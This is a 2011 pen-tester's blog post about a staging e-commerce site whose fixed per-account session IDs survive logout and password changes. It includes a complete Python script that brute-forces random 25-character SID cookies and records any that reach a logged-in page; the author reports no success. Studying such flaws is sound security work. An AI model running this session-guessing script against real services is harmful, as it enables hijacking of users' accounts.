Thursday, October 13, 2011

Session ID Brute force

Few days back i was conducting a pen-test of an e commerce application.
Like many other application i found a very common vulnerability in that application
The vulnerability was "Session not Invalidate after logout".
So one attacker can easily use a session id to access victims account even after logout is done.

The big deal was, at the time of account creation the application assigns a session ID for a particular account.
So whenever the user logs into his/her account the application will always assign same session Id.
So if you think in other way then you will find that, it’s like a password.
But as a Hacker point of view one dis-advantage of password protection is you can change the password,
But advantages with this scenario is
Even if a user changes the password the Session id does not change.
And the session id for every account is fixed length.

And one important thing was, Account lockout was present in that application. So if someone try to brute force the login panel it will not work.

So i decided to brute force the session id.

As the application was hosted on a staging environment’s was free to do whatever attack i want against the web server.
This brute force was bit different from, password cracking because maximum time you don’t have any idea about the password length.
But in this case the length of the parameter to be brute forced was known to me.
So it was quite big advantage.
One challenge i have faced was the band width of the staging environment.
The server was responding too slowly.
Like always i used python to automate the whole process.

Here is the single threaded python script.

import httplib, urllib
import gzip
import StringIO
import random
 
#HOST = '127.0.0.1'
HOST = 'somesite.com'
def go(D):
    print "Trying..",D
    conn = httplib.HTTPConnection(HOST)
    headers = {"Host": "somesite.com",
               "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Accept-Language:": "en-us,en;q=0.5",
               "Accept-Encoding": "gzip, deflate",
               "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
               "Proxy-Connection": "keep-alive",
               "Referer": "http://somesite.com/ac/",
               "Pragma": "no-cache",
               "Cookie": D, }
    conn.request("GET", "/home", "", headers)
    response = conn.getresponse()
    print response.status, response.reason
    compresseddata = response.read()
    compressedstream = StringIO.StringIO(compresseddata)  
    gzipper = gzip.GzipFile(fileobj=compressedstream)      
    data = gzipper.read()
    #print data
    if "window.location.href" in data:
        print "Sorry...."
    else:
        w = open('success.txt','a')
        w.write(D)
    print "Done.."
 
#Generate SID
pre = "SID="
max = 25#Maximum Length of Random character
t = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"
l = len(t)
buff = ''
while 1:
    if len(buff) == max:
        #print buff
        final = str(pre)+str(buff)
        go(final)
        buff = ''
    a = random.randint(0, l)
    b = a+1
    buff += t[a:-l+b]

But i was not successful.
Even after 5 days,i haven’t got a single account id.
Most probably the main reason behind this UN-successful attack was "The staging environment".
To check that, I have created an account in the main application and tried to access the account from the staging environment.
The credentials were not working in the test environment.
So its quite clear form this that the no. of account very less in the test environment, so probability of getting a valid account was too less in the test environment.